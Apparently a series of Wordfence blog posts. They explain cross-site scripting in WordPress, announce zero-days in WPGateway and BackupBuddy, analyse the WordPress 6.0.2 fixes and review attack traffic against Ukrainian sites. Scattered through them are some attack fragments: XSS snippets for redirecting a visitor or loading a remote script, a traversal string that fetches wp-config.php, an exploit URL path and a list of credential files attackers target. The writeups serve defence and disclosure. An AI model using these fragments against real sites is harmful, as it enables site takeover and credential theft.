Cross-Site Scripting: The Real WordPress Supervillain

Cross-Site Scripting: The Real WordPress Supervillain

Vulnerabilities are a fact of life for anyone managing a website, even when using a well-established content management system like WordPress. Not all vulnerabilities are equal, with some allowing access to sensitive data that would normally be hidden from public view, while others could allow a malicious actor to take full control of an affected website. There are many types of vulnerabilities, including broken access control, misconfiguration, data integrity failures, and injection, among others. One type of injection vulnerability that is often underestimated, but can provide a wide range of threats to a website, is Cross-Site Scripting, also known as “XSS”. In a single 30-day period, Wordfence blocked a total of 31,153,743 XSS exploit attempts, making this one of the most common attack types we see.

XSS exploit attempts blocked per day

What is Cross-Site Scripting?

Cross-Site Scripting is a type of vulnerability that allows a malicious actor to inject code, usually JavaScript, into otherwise legitimate websites. The web browser being used by the website user has no way to determine that the code is not a legitimate part of the website, so it displays content or performs actions directed by the malicious code. XSS is a relatively well-known type of vulnerability, partially because some of its uses are visible on an affected website, but there are also “invisible” uses that can be much more detrimental to website owners and their visitors.

Without breaking XSS down into its various uses, there are three primary categories of XSS that each have different aspects that could be valuable to a malicious actor. The types of XSS are split into stored, reflected, and DOM-based XSS. Stored XSS also includes a sub-type known as blind XSS.

Stored Cross-Site Scripting could be considered the most nefarious type of XSS. These vulnerabilities allow exploits to be stored on the affected server. This could be in a comment, review, forum, or other element that keeps the content stored in a database or file either long-term or permanently. Any time a victim visits a location the script is rendered, the stored exploit will be executed in their browser.

An example of an authenticated stored XSS vulnerability can be found in version 4.16.5 or older of the Leaky Paywall plugin. This vulnerability allowed code to be entered into the Thousand Separator and Decimal Separator fields and saved in the database. Any time this tab was loaded, the saved code would load. For this example, we used the JavaScript onmouseover function to run the injected code whenever the mouse went over the text box, but this could easily be modified to onload to run the code as soon as the page loads, or even onclick so it would run when a user clicks a specified page element. The vulnerability existed due to a lack of proper input validation and sanitization in the plugin’s class.php file. While we have chosen a less-severe example that requires administrator permissions to exploit, many other vulnerabilities of this type can be exploited by unauthenticated attackers.

Blind Cross-Site Scripting is a sub-type of stored XSS that is not rendered in a public location. As it is still stored on the server, this category is not considered a separate type of XSS itself. In an attack utilizing blind XSS, the malicious actor will need to submit their exploit to a location that would be accessed by a back-end user, such as a site administrator. One example would be a feedback form that submits feedback to the administrator regarding site features. When the administrator logs in to the website’s admin panel, and accesses the feedback, the exploit will run in the administrator’s browser.

This type of exploit is relatively common in WordPress, with malicious actors taking advantage of aspects of the site that provide data in the administrator panel. One such vulnerability was exploitable in version 13.1.5 or earlier of the WP Statistics plugin, which is designed to provide information on website visitors. If the Cache Compatibility option was enabled, then an unauthenticated user could visit any page on the site and grab the _wpnonce from the source code, and use that nonce in a specially crafted URL to inject JavaScript or other code that would run when statistics pages are accessed by an administrator. This vulnerability was the result of improper escaping and sanitization on the ‘platform’ parameter.

Reflected Cross-Site Scripting is a more interactive form of XSS. This type of XSS executes immediately and requires tricking the victim into submitting the malicious payload themselves, often by clicking on a crafted link or visiting an attacker-controlled form. The exploits for reflected XSS vulnerabilities often use arguments added to a URL, search results, and error messages to return data back in the browser, or send data to a malicious actor. Essentially, the threat actor crafts a URL or form field entry to inject their malicious code, and the website will incorporate that code in the submission process for the vulnerable function. Attacks utilizing reflected XSS may require an email or message containing a specially crafted link to be opened by an administrator or other site user in order to obtain the desired result from the exploit. This XSS type generally involves some degree of social engineering in order to be successful and it’s worth noting that the payload is never stored on the server so the chance of success relies on the initial interaction with the user.

In January of 2022, the Wordfence team discovered a reflected XSS vulnerability in the Profile Builder – User Profile & User Registration Forms plugin. The vulnerability allowed for simple page modification, simply by specifically crafting a URL for the site. Here we generated an alert using the site_url parameter and updated the page text to read “404 Page Not Found” as this is a common error message that will not likely cause alarm but could entice a victim to click on the redirect link that will trigger the pop-up.

DOM-Based Cross-Site Scripting is similar to reflected XSS, with the defining difference being that the modifications are made entirely in the DOM environment. Essentially, an attack using DOM-based XSS does not require any action to be taken on the server, only in the victim’s browser. While the HTTP response from the server remains unchanged, a DOM-based XSS vulnerability can still allow a malicious actor to redirect a visitor to a site under their control, or even collect sensitive data.

One example of a DOM-based vulnerability can be found in versions older than 3.4.4 of the Elementor page builder plugin. This vulnerability allowed unauthenticated users to be able to inject JavaScript code into pages that had been edited using either the free or Pro versions of Elementor. The vulnerability was in the lightbox settings, with the payload formatted as JSON and encoded in base64.

How Does Cross-Site Scripting Impact WordPress Sites?

WordPress websites can have a number of repercussions from Cross-Site Scripting (XSS) vulnerabilities. Because WordPress websites are dynamically generated on page load, content is updated and stored within a database. This can make it easier for a malicious actor to exploit a stored or blind XSS vulnerability on the website which means an attacker often does not need to rely on social engineering a victim in order for their XSS payload to execute.

Using Cross-Site Scripting to Manipulate Websites

One of the most well-known ways that XSS affects WordPress websites is by manipulating the page content. This can be used to generate popups, inject spam, or even redirect a visitor to another website entirely. This use of XSS provides malicious actors with the ability to make visitors lose faith in a website, view ads or other content that would otherwise not be seen on the website, or even convince a visitor that they are interacting with the intended website despite being redirected to a look-alike domain or similar website that is under the control of of the malicious actor.

When testing for XSS vulnerabilities, security researchers often use a simple method such as alert() prompt() or print() in order to test if the browser will execute the method and display the information contained in the payload. This typically looks like the following and generally causes little to no harm to the impacted website:

Example of XSS popup

This method can also be used to prompt a visitor to provide sensitive information, or interact with the page in ways that would normally not be intended and could lead to damage to the website or stolen information.

One common type of XSS payload we see when our team performs site cleanings is a redirect. As previously mentioned, XSS vulnerabilities can utilize JavaScript to get the browser to perform actions. In this case an attacker can utilize the window.location.replace() method or other similar method in order to redirect the victim to another site. This can be used by an attacker to redirect a site visitor to a separate malicious domain that could be used to further infect the victim or steal sensitive information.

In this example, we used onload=location.replace("") to redirect the site to The use of onload means that the script runs as soon as the element of the page that the script is attached to loads. Generating a specially crafted URL in this manner is a common method used by threat actors to get users and administrators to land on pages under the actor’s control. To further hide the attack from a potential victim, the use of URL encoding can modify the appearance of the URL to make it more difficult to spot the malicious code. This can even be taken one step further in some cases by slightly modifying the JavaScript and using character encoding prior to URL encoding. Character encoding helps bypass certain character restrictions that may prevent an attack from being successful without first encoding the payload.

When discussing manipulation of websites, it is hard to ignore site defacements. This is the most obvious form of attack on a website, as it is often used to replace the intended content of the website with a message from the bad actor. This is often accomplished by using JavaScript to force the bad actor’s intended content to load in place of the original site content. Utilizing JavaScript functions like document.getElementByID() or window.location() it is possible to replace page elements, or even the entire page, with new content. Defacements require a stored XSS vulnerability, as the malicious actor would want to ensure that all site visitors see the defacement.

Example of XSS defacement

This is, of course, not the only way to deface a website. A defacement could be as simple as modifying elements of the page, such as changing the background color or adding text to the page. These are accomplished in much the same way, by using JavaScript to replace page elements.

Stealing Data With Cross-Site Scripting

XSS is one of the easier vulnerabilities a malicious actor can exploit in order to steal data from a website. Specially crafted URLs can be sent to administrators or other site users to add elements to the page that send form data to the malicious actor as well as, or instead of, the intended location of the data being submitted on the website under normal conditions.

The cookies generated by a website can contain sensitive data or even allow an attacker to access an authenticated user’s account directly. One of the simplest methods of viewing the active cookies on a website is to use the document.cookie JavaScript function to list all cookies. In this example, we sent the cookies to an alert box, but they can just as easily be sent to a server under the attacker’s control, without even being noticeable to the site visitor.

Example of stealing cookies with XSS

While form data theft is less common, it can have a significant impact on site owners and visitors. The most common way this would be used by a malicious actor is to steal credit card information. It is possible to simply send input from a form directly to a server under the bad actor’s control, however it is much more common to use a keylogger. Many payment processing solutions embed forms from their own sites, which typically cannot be directly accessed by JavaScript running in the context of an infected site. The use of a keylogger helps ensure that usable data will be received, which may not always be the case when simply collecting form data as it is submitted to the intended location.

Here we used character encoding to obfuscate the JavaScript keystroke collector, as well as to make it easy to run directly from a maliciously crafted link. This then sends collected keystrokes to a server under the threat actor’s control, where a PHP script is used to write the collected keystrokes to a log file. This technique could be used as we did here to target specific victims, or a stored XSS vulnerability could be taken advantage of in order to collect keystrokes from any site visitor who visits a page that loads the malicious JavaScript code. In either use-case, a XSS vulnerability must exist on the target website.

If this form of data theft is used on a vulnerable login page, a threat actor could easily gain access to usernames and passwords that could be used in later attacks. These attacks could be against the same website, or used in credential stuffing attacks against a variety of websites such as email services and financial institutions.

Taking Advantage of Cross-Site Scripting to Take Over Accounts

Perhaps one of the most dangerous types of attacks that are possible through XSS vulnerabilities is an account takeover. This can be accomplished through a variety of methods, including the use of stolen cookies, similar to the example above. In addition to simply using cookies to access an administrator account, malicious actors will often create fake administrator accounts under their control, and may even inject backdoors into the website. Backdoors then give the malicious actor the ability to perform further actions at a later time.

If a XSS vulnerability exists on a site, injecting a malicious administrator user can be light work for a threat actor if they can get an administrator of a vulnerable website to click a link that includes an encoded payload, or if another stored XSS vulnerability can be exploited. In this example we injected the admin user by pulling the malicious code from a web-accessible location, using a common URL shortener to further hide the true location of the malicious location. That link can then be utilized in a specially crafted URL, or injected into a vulnerable form with something like onload=jQuery.getScript('<short_code>'); to load the script that injects a malicious admin user when the page loads.

Backdoors are a way for a malicious actor to retain access to a website or system beyond the initial attack. This makes backdoors very useful for any threat actor that intends to continue modifying their attack, collect data over time, or regain access if an injected malicious admin user is removed by a site administrator. While JavaScript running in an administrator’s session can be used to add PHP backdoors to a website by editing plugin or theme files, it is also possible to “backdoor” a visitor’s browser, allowing an attacker to run arbitrary commands as the victim in real time. In this example, we used a JavaScript backdoor that could be connected to from a Python shell running on a system under the threat actor’s control. This allows the threat actor to run commands directly in the victim’s browser, allowing the attacker to directly take control of it, and potentially opening up further attacks to the victim’s computer depending on whether the browser itself has any unpatched vulnerabilities.

Often, a backdoor is used to retain access to a website or server, but what is unique about this example is the use of a XSS vulnerability in a website in order to gain access to the computer being used to access the affected website. If a threat actor can get the JavaScript payload to load any time a visitor accesses a page, such as through a stored XSS vulnerability, then any visitor to that page on the website becomes a potential victim.

Tools Make Light Work of Exploits

There are tools available that make it easy to exploit vulnerabilities like Cross-Site Scripting (XSS). Some tools are created by malicious actors for malicious actors, while others are created by cybersecurity professionals for the purpose of testing for vulnerabilities in order to prevent the possibility of an attack. No matter what the purpose of the tool is, if it works malicious actors will use it. One such tool is a freely available penetration testing tool called BeEF. This tool is designed to work with a browser to find client-side vulnerabilities in a web app. This tool is great for administrators, as it allows them to easily test their own webapps for XSS and other client-side vulnerabilities that may be present. The flip side of this is that it can also be used by threat actors looking for potential attack targets.

One thing that is consistent in all of these exploits is the use of requests to manipulate the website. These requests can be logged, and used to block malicious actions based on the request parameters and the strings contained within the request. The one exception is that DOM-based XSS cannot be logged on the web server as these are processed entirely within the victim’s browser. The request parameters that malicious actors typically use in their requests are often common fields, such as the WordPress search parameter of $_GET[‘s’] and are often just guesswork hoping to find a common parameter with an exploitable vulnerability. The most common request parameter we have seen threat actors attempting to attack recently is $_GET[‘url’] which is typically used to identify the domain name of the server the website is loaded from.

Top 10 parameters in XSS attacks


Cross-Site Scripting (XSS) is a powerful, yet often underrated, type of vulnerability, at least when it comes to WordPress instances. While XSS has been a long-standing vulnerability in the OWASP Top 10, many people think of it only as the ability to inject content like a popup, and few realize that a malicious actor could use this type of vulnerability to inject spam into a web page or redirect a visitor to the website of their choice, convince a site visitor to provide their username and password, or even take over the website with relative ease all thanks to the capabilities of JavaScript and working knowledge of the backend platform.

One of the best ways to protect your website against XSS vulnerabilities is to keep WordPress and all of your plugins updated. Sometimes attackers target a zero-day vulnerability, and a patch is not available immediately, which is why the Wordfence firewall comes with built-in XSS protection to protect all Wordfence users, including Free, Premium, Care, and Response, against XSS exploits. If you believe your site has been compromised as a result of a XSS vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance.

The post Cross-Site Scripting: The Real WordPress Supervillain appeared first on Wordfence.

PSA: Zero-Day Vulnerability in WPGateway Actively Exploited in the Wild

On September 8, 2022, the Wordfence Threat Intelligence team became aware of an actively exploited zero-day vulnerability being used to add a malicious administrator user to sites running the WPGateway plugin. We released a firewall rule to Wordfence Premium, Wordfence Care, and Wordfence Response customers to block the exploit on the same day, September 8, 2022.

Sites still running the free version of Wordfence will receive the same protection 30 days later, on October 8, 2022. The Wordfence firewall has successfully blocked over 4.6 million attacks targeting this vulnerability against more than 280,000 sites in the past 30 days.

Vulnerability Details

Description: Unauthenticated Privilege Escalation
Affected Plugin: WPGateway
Plugin Slug: wpgateway
Plugin Developer: Jack Hopman/WPGateway
Affected Versions: <= 3.5
CVE ID: CVE-2022-3180
CVSS Score: 9.8 (Critical)
Fully Patched Version: N/A

The WPGateway plugin is a premium plugin tied to the WPGateway cloud service, which offers its users a way to setup and manage WordPress sites from a single dashboard. Part of the plugin functionality exposes a vulnerability that allows unauthenticated attackers to insert a malicious administrator.

We obtained a current copy of the plugin on September 9, 2022, and determined that it is vulnerable, at which time we contacted the plugin vendor with our initial disclosure. We have reserved vulnerability identifier CVE-2022-3180 for this issue.

As this is an actively exploited zero-day vulnerability, and attackers are already aware of the mechanism required to exploit it, we are releasing this public service announcement (PSA) to all of our users. We are intentionally withholding certain details to prevent further exploitation. As a reminder, an attacker with administrator privileges has effectively achieved a complete site takeover.

Indicators of compromise

If you are working to determine whether a site has been compromised using this vulnerability, the most common indicator of compromise is a malicious administrator with the username of rangex.

If you see this user added to your dashboard, it means that your site has been compromised.

Additionally, you can check your site’s access logs for requests to //wp-content/plugins/wpgateway/wpgateway-webservice-new.php?wp_new_credentials=1

If these requests are present in your logs, they indicate that your site has been attacked using an exploit targeting this vulnerability, but do not necessarily indicate that it has been successfully compromised.


In today’s post, we detailed a zero-day vulnerability being actively exploited in the WPGateway plugin.

Wordfence Premium, Wordfence Care, and Wordfence Response customers received a firewall rule on September 8, 2022, protecting against this vulnerability, while sites still using the free version of Wordfence will receive the same protection 30 days later, on October 8, 2022.

If you have the WPGateway plugin installed, we urge you to remove it immediately until a patch is made available and to check for malicious administrator users in your WordPress dashboard.

If you know a friend or colleague who is using this plugin on their site, we highly recommend forwarding this advisory to them to help keep their sites protected, as this is a serious vulnerability that is actively being exploited in the wild. Please help make the WordPress community aware of this issue.

If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance.

Our investigation is ongoing, and we will provide more information in an additional blog post when it becomes available.

Special thanks to Threat Intelligence Lead Chloe Chamberland for spotting this exploit in the wild.

The post PSA: Zero-Day Vulnerability in WPGateway Actively Exploited in the Wild appeared first on Wordfence.

PSA: Nearly 5 Million Attacks Blocked Targeting 0-Day in BackupBuddy Plugin

Late evening, on September 6, 2022, the Wordfence Threat Intelligence team was alerted to the presence of a vulnerability being actively exploited in BackupBuddy, a WordPress plugin we estimate has around 140,000 active installations. This vulnerability makes it possible for unauthenticated users to download arbitrary files from the affected site which can include sensitive information.

After reviewing historical data, we determined that attackers started targeting this vulnerability on August 26, 2022, and that we have blocked 4,948,926 attacks targeting this vulnerability since that time.

The vulnerability affects versions to, and has been fully patched as of September 2, 2022 in version 8.7.5. Due to the fact that this is an actively exploited vulnerability, we strongly encourage you to ensure your site has been updated to the latest patched version 8.7.5 which iThemes has made available to all site owners running a vulnerable version regardless of licensing status.

All Wordfence customers, including Wordfence Premium, Wordfence Care, Wordfence Response, and Wordfence Free users, have been, and will continue to be, protected against any attackers trying to exploit this vulnerability due to the Wordfence firewall’s built-in directory traversal and file inclusion firewall rules. Wordfence Premium, Care, & Response, customers receive enhanced protection as attackers heavily targeting the vulnerability are blocked by the IP Blocklist.

Vulnerability Details

Description: Arbitrary File Download/Read
Affected Plugin: BackupBuddy
Plugin Slug: backupbuddy
Plugin Developer: iThemes
Affected Versions: –
CVE ID: CVE-2022-31474
CVSS Score: 7.5 (High)
Fully Patched Version: 8.7.5

The BackupBuddy plugin for WordPress is designed to make back-up management easy for WordPress site owners. One of the features in the plugin is to store back-up files in multiple different locations, known as Destinations, which includes Google Drive, OneDrive, and AWS just to name a few. There is also the ability to store back-up downloads locally via the ‘Local Directory Copy’ option. Unfortunately, the method to download these locally stored files was insecurely implemented making it possible for unauthenticated users to download any file stored on the server.

More specifically the plugin registers an admin_init hook for the function intended to download local back-up files and the function itself did not have any capability checks nor any nonce validation. This means that the function could be triggered via any administrative page, including those that can be called without authentication (admin-post.php), making it possible for unauthenticated users to call the function. The back-up path is not validated and therefore an arbitrary file could be supplied and subsequently downloaded.

Due to this vulnerability being actively exploited, and its ease of exploitation, we are sharing minimal details about this vulnerability.

Indicators of Compromise

The Wordfence firewall has blocked over 4.9 million exploit attempts targeting this vulnerability since August 26, 2022, which is the first indication we have that this vulnerability was being exploited. We are seeing attackers attempting to retrieve sensitive files such as the /wp-config.php and /etc/passwd file which can be used to further compromise a victim.

The top 10 Attacking IP Addresses are as follows:

  • with 1,960,065 attacks blocked
  • with 482,604 attacks blocked
  • with 366770 attacks blocked
  • with 344604 attacks blocked
  • with 341,309 attacks blocked
  • with 320,187 attacks blocked
  • with 303,844 attacks blocked
  • with 302,136 attacks blocked
  • with 277,545 attacks blocked
  • with 211,924 attacks blocked

A majority of the attacks we have observed are attempting to read the following files:

  • /etc/passwd
  • /wp-config.php
  • .my.cnf
  • .accesshash

We recommend checking for the ‘local-download’ and/or the ‘local-destination-id’ parameter value when reviewing requests in your access logs. Presence of these parameters along with a full path to a file or the presence of ../../ to a file indicates the site may have been targeted for exploitation by this vulnerability. If the site is compromised, this can suggest that the BackupBuddy plugin was likely the source of compromise.


In today’s post, we detailed a zero-day vulnerability being actively exploited in the BackupBuddy plugin that makes it possible for unauthenticated attackers to steal sensitive files from an affected site and use the information obtained in those files to further infect a victim. This vulnerability was patched yesterday and we strongly recommend updating to the latest version of the plugin, currently version 8.7.5, right now since this is an actively exploited vulnerability.

All Wordfence customers, including Wordfence Premium, Wordfence Care, Wordfence Response, and Wordfence Free users, have been, and will continue to be, protected against any attackers trying to exploit this vulnerability due to the Wordfence firewall’s built-in directory traversal and file inclusion firewall rules.

If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance.

If you know a friend or colleague who is using this plugin on their site, we highly recommend forwarding this advisory to them to help keep their sites protected, as this is a serious vulnerability that is actively being exploited in the wild.

We will continue to monitor the situation and follow up as more information becomes available.

The post PSA: Nearly 5 Million Attacks Blocked Targeting 0-Day in BackupBuddy Plugin appeared first on Wordfence.

WordPress Core 6.0.2 Security & Maintenance Release – What You Need to Know

On August 30, 2022, the WordPress core team released WordPress version 6.0.2, which contains patches for 3 vulnerabilities, including a High Severity SQLi vulnerability in the Links functionality as well as two Medium Severity Cross-Site Scripting vulnerabilities.

These patches have been backported to every version of WordPress since 3.7. WordPress has supported automatic core updates for security releases since WordPress 3.7, and the vast majority of WordPress sites should receive a patch for their major version of WordPress automatically over the next 24 hours. We recommend verifying that your site has been automatically updated to one of the patched versions. Patched versions are available for every major version of WordPress since 3.7, so you can update without risking compatibility issues. If your site has not been updated automatically we recommend updating manually.

Vulnerability Analysis

As with every WordPress core release containing security fixes, the Wordfence Threat Intelligence team analyzed the code changes in detail to evaluate the impact of these vulnerabilities on our customers, and to ensure our customers remain protected.

We have determined that these vulnerabilities are unlikely to be targeted for exploitation due to the special cases needed to exploit. In most circumstances these vulnerabilities require either elevated privileges, such as those of an administrator, or the presence of a separate vulnerable or malicious plugin. Nonetheless, the Wordfence firewall should protect against any exploits that do not require administrative privileges. In nearly all cases administrators already have the maximum level of access and attackers with that level of access are unlikely to use convoluted and difficult exploits when simpler paths to making configuration changes or obtaining sensitive information are readily available.

Description: SQL Injection via Links LIMIT clause
Affected Versions: WordPress Core < 6.0.2
Researcher: FVD
CVE ID: Pending
CVSS Score: 8.0 (High)
Fully Patched Version: 6.0.2

The WordPress Link functionality, previously known as “Bookmarks”, is no longer enabled by default on new WordPress installations. Older sites may still have the functionality enabled, which means that millions of legacy sites are potentially vulnerable, even if they are running newer versions of WordPress. Fortunately, we found that the vulnerability requires administrative privileges and is difficult to exploit in a default configuration. It is possible that 3rd party plugins or themes might allow this vulnerability to be used by editor-level users or below, and in these cases the Wordfence firewall will block any such exploit attempts.

Vulnerable versions of WordPress failed to successfully sanitize the limit argument of the link retrieval query in the get_bookmarks function, used to ensure that only a certain number of links were returned. In a default configuration, only the Links legacy widget calls the get_bookmarks function in a way that allows this argument to be set by a user. Legacy widgets involve additional safeguards, and the injection point of the query itself poses additional difficulties, making this vulnerability nontrivial to exploit.

Description: Contributor+ Stored Cross-Site Scripting via use of the_meta function
Affected Versions: WordPress Core < 6.0.2
Researcher: John Blackbourn
CVE ID: Pending
CVSS Score: 4.9 (Medium)
Fully Patched Version: 6.0.2

WordPress content creators, such as Contributors, Editors, Authors, and Administrators, have the ability to add custom fields to any page and post created. The purpose of this is to make it possible for site content creators to add and associate additional data to posts and pages.

WordPress has several functions available to site owners to display custom fields created and associated with posts and pages. One of these functions is the the_meta function which retrieves the supplied post’s or page’s custom field data, which is stored as post meta data, through the get_post_custom_keys and get_post_custom_values functions. Once the custom fields for a post/page are retrieved, the function outputs the post meta keys and values data as a list. Unfortunately, in versions older than 6.0.2 this data was unescaped on output making it possible for any injected scripts in post meta keys and values to be executed.

Due to the fact that any user with access to the post editor can add custom meta fields, users with access to the editor such as contributors could inject malicious JavaScript that executes on any page or post where this function is called.

WordPress core does not call the_meta anywhere in its codebase by default. As such this vulnerability does require a plugin or theme that calls the the_meta function, or for this function to have been programmatically added to a PHP file for execution, so the vast majority of site owners are not vulnerable to this issue. The the_meta function is considered deprecated as of 6.0.2 and get_post_meta is the recommended alternative.

The Wordfence Threat Intelligence Team deployed a firewall rule to help protect Wordfence Premium, Care & Response customers today. Wordfence Free users will receive the same protection in 30 days on September 29, 2022.

Description: Stored Cross-Site Scripting via Plugin Deactivation and Deletion errors
Affected Versions: WordPress Core < 6.0.2
Researcher: ​​Khalilov Moe
CVE ID: Pending
CVSS Score: 4.7 (Medium)
Fully Patched Version: 6.0.2

The final vulnerability involves the error messages displayed when a plugin has been deactivated due to an error, or when a plugin can not be deleted due to an error. As these error messages were not escaped, any JavaScript present in these error messages would execute in the browser session of an administrator visiting the plugins page. This vulnerability would require a separate malicious or vulnerable plugin or other code to be installed on the site, which would typically require an administrator to install it themselves. In almost all cases where this vulnerability might be exploitable an attacker would already have a firm foothold on the vulnerable site.

Our built-in XSS rule should block any attempts to generate crafted error messages based on user input to a vulnerable plugin, and the Wordfence scanner will detect any malicious plugins uploaded by an administrator.


In today’s article, we covered three vulnerabilities patched in the WordPress 6.0.2 Security and Maintenance Release. Most actively used WordPress sites should be patched via automatic updates within the next 24 hours, and any sites that remain vulnerable would only be exploitable under very specific circumstances.

We have released a firewall rule to Wordfence Premium, Care, and Response users to protect against any exploits targeting the the_meta function and this rule should become available to Wordfence free users after 30 days, on on September 29, 2022.

As always, we strongly recommend updating your site to a patched version of WordPress if it hasn’t been updated automatically. As long as you are running a version of WordPress greater than 3.7, an update is available to patch these vulnerabilities while keeping you on the same major version, so you will not need to worry about compatibility issues.

Props to Khalilov Moe, John Blackbourn, & FVD for discovering and responsibly disclosing these vulnerabilities. Special thanks to Wordfence Threat Intelligence Lead Chloe Chamberland for collaborating on this post.

The post WordPress Core 6.0.2 Security & Maintenance Release – What You Need to Know appeared first on Wordfence.

Analyzing Attack Data and Trends Targeting Ukrainian Domains

Analyzing Attack Data and Trends Targeting Ukrainian Domains

As we continue to monitor the cyber situation in Ukraine, the data we are seeing shows some interesting trends. Not only has the volume of attacks continued rising throughout the war in Ukraine, the types of attacks have been varied. A common tactic of cyber criminals is to run automated exploit attempts, hitting as many possible targets as they can to see what gets a result. The data we have analyzed shows that this tactic is being used against Ukrainian websites. This is in contrast to a targeted approach where threat actors go after specific individuals or organizations, using gathered intelligence to make at least an educated guess at the type of vulnerabilities that may be exploitable.

Data Shows a Variety of Attack Types

In the past 30 days, we have seen 16 attack types that triggered more than 85 different firewall rules across protected websites with .ua top-level domains. These rules blocked more than 9.8 million attack attempts on these websites, with the top five attack types accounting for more than 9.7 million of those attempts.

Top blocked rules against .ua domains

In order to demonstrate the top five attack types, we are going to follow a single threat actor who has been observed attempting each of these attack types throughout the last 30 days. Combining the originating IP addresses associated with the attack attempts with the user-agent that was used and other commonalities, we can say with a high degree of certainty that the demonstrated attack attempts were work of the same threat actor.

Known Malicious IP Addresses

The largest category of blocked attack attempts were due to use of a known malicious IP address. These IP addresses are maintained by the Wordfence blocklist, with new addresses added when they become maliciously engaged, and removed when they are no longer being used maliciously. When we see activity from an IP address on the blocklist, it is immediately blocked, however we do track the request that was received from the attacking server.

Top IPs blocked from attacking .ua domains

The top IP addresses we have blocked using known malicious IP addresses were often seen attempting to upload spam content to websites, however it was also common to see file upload and information disclosure attempts as well. Here we see a simple POST request that uses URL encoding along with base64 encoding to obfuscate a command to be run.

Blocked IP request example 1

The decoded payload will simply display XO_Sp3ctra to alert the malicious actor that the affected system will allow commands to be run by them.

Output from blocked IP example 1

When we look at the top known malicious IP addresses blocked worldwide, the top 15 are IP addresses within Russia. This does not match what we are seeing in Ukraine, where the top attacking IP addresses vary in location across North America, Europe, and Asia, with only three in Russia. However, there is a similarity. The IP address in 15th position worldwide for most initiated exploit attempts is in 4th position for blocked attacks against .ua domains. The IP address,, is part of an ASN belonging to Chang Way Technologies Co. Limited. The IP itself is located in Russia, but assigned to a company named Starcrecium Limited, which is based in Cyprus and has been used to conduct attacks of this type in the past. This IP has been blocked 78,438 times on .ua websites, with a total of 3,803,734 blocked attack attempts worldwide.

When you consider the fact that we logged malicious activity from almost 2.1 million individual IP addresses in this time, and the 15th worldwide ranked IP was ranked 4th against an area as small as Ukraine, the number of blocked attacks becomes very significant. Additionally, there were three IP addresses that ranked higher in Ukraine, but did not even make the top 20 worldwide, showing that while there are threat actors who are not focusing heavily on Ukraine, others are very focused on Ukrainian websites. What we are seeing from the IP addresses targeting Ukrainian websites more heavily is similar to what we see here, with information gathering and uploading spam content being the two main goals of the attack attempts.

One thing to keep in mind here is the fact that all .ua sites get our real-time threat intelligence, which is typically reserved for Wordfence Premium, Care, and Response customers, so it is not possible to get a true comparison between the websites in Ukraine and the rest of the world. IP addresses are added to the blocklist for many reasons, including the attack types we outlined above. Often these addresses are blocked for simple malicious behavior, such as searching for the existence of specific files on a website. More complex behavior like searching for the ability to run commands on the server will also lead to an IP being added to the blocklist.

Known Malicious User-Agents

One way that we block attacks is by tracking known malicious user-agents. This was the second-largest category our firewall blocked on .ua domains. When we see a user-agent string that is consistently being used in malicious events, like the user-agent below, we add it to a firewall rule.

Known malicious user-agent string

User-agent strings can be set to an arbitrary value, so blocking user-agents is not sufficient to maintain security on its own. Nonetheless, tracking and blocking consistently malicious user-agents still allows us to block millions of additional attacks a day and provides us with a great degree of visibility into attacks that are less targeted at specific vulnerabilities. Many threat actors consistently use a given user-agent string, so this also allows us to block a large number of credential stuffing attacks on the first attempt, rather than after a certain threshold of failed logins.

There are many reasons a user-agent will be blocked by the Wordfence firewall, but always for consistent malicious activity. For instance, the user-agent here has been tracked in numerous types of attack attempts without consistent legitimate activity or false positives being detected. It is frequently found looking for configuration files, such as the aws.yml file in this example. Keep in mind that the fact that the actor is searching for this file does not automatically mean it exists on the server. However, if the file does exist and can be read by a would-be attacker, the data contained in the file would tell them a lot about the Amazon Web Services server configuration being used. This could lead to the discovery of vulnerabilities or other details that could help a malicious actor damage a website or server.

Malicious user-agent request example 1

Similarly, information about the server could be discovered no matter who the server provider is if a file that returns configuration information, such as a info.php or server_info.php file can be discovered and accessed. Knowing the web server version, PHP version, and other critical details can add up to a vulnerability discovery that makes it easy for a malicious actor to access a website.

Malicious user-agent request example 2

In addition to searching for configuration files, and other malicious activities, we also see an attacker using this specific user-agent attempting to upload malicious files to the servers they are trying to compromise. The following shows an attacker using the same known malicious user-agent attempting to upload a zip file, which, if successful, unzips to install a file named sp3ctra_XO.php on the server. When we said there were clues that these attack attempts were being perpetrated by the same threat actor, you can see here what one of those clues are with the sp3ctra_XO.php filename variation of the XO_Sp3ctra output seen earlier.

Malicious user-agent request example 3

Over the past 30 days, we have observed this user-agent string used in more than 1.3 million attack attempts against Ukrainian websites. This makes it the largest attacking user-agent that is not immediately recognizable as an unusual user-agent. The only user-agent string that had more tracked attack attempts is wp_is_mobile. These user-agent strings are among the dozens that have been observed over time to be consistently associated only with malicious activity.

The user-agent we are following here was logged in 1,115,824,706 attack attempts worldwide in the same time frame, making this a very common malicious user-agent string. With this being a prolific user-agent in attacks around the world, it is no surprise that it is being seen in regular attack attempts on Ukrainian websites. Whether specifically targeted, or just a victim of circumstance, Ukrainian websites are seeing an increase in attacks. This is likely due to heightened activity from threat actors globally.

Directory Traversal

The next largest category of attack attempts we have been blocking targeting .ua domains was directory traversal. This relies on a malicious actor getting into the site files wherever they can, often through a plugin or theme vulnerability, and trying to access files outside of the original file’s directory structure. We are primarily seeing this used in much the same way as the information disclosure attacks, as a way to access the wp-config.php file that potentially provides database credentials. Other uses for this type of attack can also include the ability to get a list of system users, or access other sensitive data stored on the server.

Directory traversal request example

In this example, the malicious actor attempted to download the site’s wp-config.php file by accessing the file structure through a download.php file in the twentyeleven theme folder, and moving up the directory structure to the WordPress root, where the wp-config.php file is located. This is seen in the request by adding ?file=..%2F..%2F..%2Fwp-config.php. This tells the server to look for a wp-config. php file that is three directories higher than the current directory.

This type of attack is often a guessing game for the malicious actor, as the path they are attempting to traverse may not even exist, but when it does, it can result in stolen data or damage to a website or system. The fact that the twentyeleven theme was used here does not necessarily indicate that the theme was vulnerable, or even installed on the site, only that the malicious actor was attempting to use it as a jumping off point while trying to find a vulnerable download.php file that could be used for directory traversal.

Information Disclosure

